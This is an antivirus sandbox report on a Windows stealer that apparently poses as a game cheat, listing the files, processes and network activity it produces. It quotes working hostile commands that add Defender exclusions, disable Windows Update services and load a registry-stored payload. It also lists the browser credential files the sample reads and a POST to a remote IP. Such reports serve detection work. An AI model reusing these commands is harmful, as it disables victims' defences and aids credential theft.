Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\dialersvc64
- <SYSTEM32>\tasks\dialersvc32
- %WINDIR%\tasks\dialersvc64.job
- %WINDIR%\tasks\dialersvc32.job
- <SYSTEM32>\tasks\steamhost
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Update
Injects code into
the following system processes:
- <SYSTEM32>\icacls.exe
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %APPDATA%\opera software\opera stable\login data
- %HOMEPATH%\desktop\fi51.doc
- %HOMEPATH%\desktop\hadac_newsletter_july_2010_final.docx
- %HOMEPATH%\desktop\hanni_umami_chapter.doc
- %HOMEPATH%\desktop\nwfieldnotes1966.docx
- %HOMEPATH%\desktop\thlps_keeper_mayer_1965.docx
Modifies file system
Creates the following files
- %TEMP%\svchost.exe
- %TEMP%\tmp3b00.tmp
- %TEMP%\tmp3b10.tmp
- %TEMP%\tmp3b21.tmp
- %TEMP%\tmp3b31.tmp
- %TEMP%\tmp3b42.tmp
- %TEMP%\tmp3b43.tmp
- %TEMP%\tmp3b82.tmp
- %TEMP%\tmp3bb2.tmp
- %TEMP%\tmp3be2.tmp
- %TEMP%\tmp3bf3.tmp
- %TEMP%\tmp3c03.tmp
- %TEMP%\tmp3c04.tmp
- %TEMP%\tmp3c15.tmp
- %TEMP%\tmp3c25.tmp
- %TEMP%\tmp3ca3.tmp
- %TEMP%\tmp3cb4.tmp
- %TEMP%\tmp3ded.tmp
- %TEMP%\tmp7705.tmp
- %TEMP%\tmp75bc.tmp
- %TEMP%\tmp74c1.tmp
- %TEMP%\tmp6dde.tmp
- %TEMP%\tmp6dcd.tmp
- %TEMP%\tmp6dbc.tmp
- %TEMP%\tmp6d9b.tmp
- %TEMP%\tmp6dac.tmp
- %TEMP%\tmp6d9a.tmp
- %TEMP%\tmp6d89.tmp
- %TEMP%\tmp6d79.tmp
- %TEMP%\tmp4eb2.tmp
- %TEMP%\tmp4d79.tmp
- %TEMP%\tmp3dfd.tmp
- %TEMP%\tmp7715.tmp
- %TEMP%\tmp3aff.tmp
- %TEMP%\tmp3aee.tmp
- %TEMP%\tmp3add.tmp
- %TEMP%\explorer.exe
- %TEMP%\tmp362c.tmp
- %TEMP%\tmp363d.tmp
- %TEMP%\tmp3747.tmp
- %TEMP%\tmp3758.tmp
- %TEMP%\tmp3759.tmp
- %TEMP%\tmp3769.tmp
- %TEMP%\tmp37a9.tmp
- %TEMP%\tmp37b9.tmp
- %TEMP%\tmp3818.tmp
- %TEMP%\tmp3819.tmp
- %TEMP%\tmp381a.tmp
- %TEMP%\tmp384a.tmp
- %TEMP%\tmp386a.tmp
- %TEMP%\tmp388a.tmp
- %TEMP%\tmp38aa.tmp
- %TEMP%\tmp38bb.tmp
- %TEMP%\tmp3aad.tmp
- %TEMP%\tmp3a8c.tmp
- %TEMP%\tmp3a7c.tmp
- %TEMP%\tmp3a7b.tmp
- %TEMP%\tmp3a6a.tmp
- %TEMP%\tmp3a5a.tmp
- %TEMP%\tmp3a0a.tmp
- %TEMP%\tmp3a1a.tmp
- %TEMP%\tmp39f9.tmp
- %TEMP%\tmp39e8.tmp
- %TEMP%\tmp39d8.tmp
- %TEMP%\tmp39c7.tmp
- %TEMP%\tmp39b7.tmp
- %TEMP%\tmp3948.tmp
- %TEMP%\tmp3adc.tmp
- %TEMP%\tmp7716.tmp
Deletes the following files
- %TEMP%\tmp363d.tmp
- %TEMP%\tmp3b21.tmp
- %TEMP%\tmp3b43.tmp
- %TEMP%\tmp3b42.tmp
- %TEMP%\tmp3bb2.tmp
- %TEMP%\tmp3b82.tmp
- %TEMP%\tmp3bf3.tmp
- %TEMP%\tmp3be2.tmp
- %TEMP%\tmp3c04.tmp
- %TEMP%\tmp3c03.tmp
- %TEMP%\tmp3c25.tmp
- %TEMP%\tmp3c15.tmp
- %TEMP%\tmp3cb4.tmp
- %TEMP%\tmp3ca3.tmp
- %TEMP%\tmp3b00.tmp
- %TEMP%\tmp3b31.tmp
- %TEMP%\tmp3dfd.tmp
- %TEMP%\tmp3ded.tmp
- %TEMP%\tmp7705.tmp
- %TEMP%\tmp75bc.tmp
- %TEMP%\tmp74c1.tmp
- %TEMP%\tmp6dde.tmp
- %TEMP%\tmp6dcd.tmp
- %TEMP%\tmp3a6a.tmp
- %TEMP%\tmp6dbc.tmp
- %TEMP%\tmp6d9b.tmp
- %TEMP%\tmp6d9a.tmp
- %TEMP%\tmp6d89.tmp
- %TEMP%\tmp6d79.tmp
- %TEMP%\tmp4eb2.tmp
- %TEMP%\tmp4d79.tmp
- %TEMP%\svchost.exe
- %TEMP%\tmp3b10.tmp
- %TEMP%\tmp3aee.tmp
- %TEMP%\tmp3aff.tmp
- %TEMP%\tmp3758.tmp
- %TEMP%\tmp3747.tmp
- %TEMP%\tmp3769.tmp
- %TEMP%\tmp3759.tmp
- %TEMP%\tmp37b9.tmp
- %TEMP%\tmp37a9.tmp
- %TEMP%\tmp3819.tmp
- %TEMP%\tmp3818.tmp
- %TEMP%\tmp384a.tmp
- %TEMP%\tmp381a.tmp
- %TEMP%\tmp388a.tmp
- %TEMP%\tmp386a.tmp
- %TEMP%\tmp38bb.tmp
- %TEMP%\tmp38aa.tmp
- %TEMP%\tmp362c.tmp
- %TEMP%\tmp39b7.tmp
- %TEMP%\tmp3adc.tmp
- %TEMP%\tmp3948.tmp
- %TEMP%\tmp39d8.tmp
- %TEMP%\tmp39c7.tmp
- %TEMP%\tmp39f9.tmp
- %TEMP%\tmp39e8.tmp
- %TEMP%\tmp3a1a.tmp
- %TEMP%\tmp6dac.tmp
- %TEMP%\tmp3a0a.tmp
- %TEMP%\tmp7715.tmp
- %TEMP%\tmp3a7c.tmp
- %TEMP%\tmp3a7b.tmp
- %TEMP%\tmp3aad.tmp
- %TEMP%\tmp3a8c.tmp
- %TEMP%\tmp3add.tmp
- %TEMP%\tmp3a5a.tmp
- %TEMP%\tmp7716.tmp
Network activity
Connects to
- '16#.#5.169.73':49194
- 'ap#.ip.sb':443
TCP
HTTP POST requests
- http://16#.##.169.73:49194/ via 16#.#5.169.73
Other
- 'ap#.ip.sb':443
UDP
- DNS ASK ap#.ip.sb
Miscellaneous
Creates and executes the following
- '%TEMP%\svchost.exe'
- '%TEMP%\explorer.exe'
- '%HOMEPATH%\chrome\updater.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c powershell -Command "Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.MessageBox]::Show('Error #103 Cheat cannot start properly because antivirus is not disabled. Please dis...
- '<SYSTEM32>\sc.exe' failure UsoSvc reset= 0 actions= ""
- '<SYSTEM32>\sc.exe' config UsoSvc start= disabled
- '<SYSTEM32>\sc.exe' failure dosvc reset= 0 actions= ""
- '<SYSTEM32>\sc.exe' config dosvc start= disabled
- '<SYSTEM32>\sc.exe' failure bits reset= 0 actions= ""
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\sc.exe' config bits start= disabled
- '<SYSTEM32>\sc.exe' failure wuauserv reset= 0 actions= ""
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\takeown.exe' /f C:\\Windows\\System32\\WaaSMedicSvc.dll
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGIAdwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAbQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQA...
- '<SYSTEM32>\choice.exe' /C Y /N /D Y /T 3
- '<SYSTEM32>\dllhost.exe' /Processid:{f92fe661-f080-4f57-a714-1eff343acd36}
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.MessageBox]::Show('Error #103 Cheat cannot start properly because antivirus is not disabled. Please disable antivirus...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
- '%WINDIR%\syswow64\cmd.exe' /c start %TEMP%\explorer.exe
- '%WINDIR%\syswow64\cmd.exe' /c start %TEMP%\svchost.exe
- '%WINDIR%\syswow64\cmd.exe' /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreferenc...
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\icacls.exe' C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
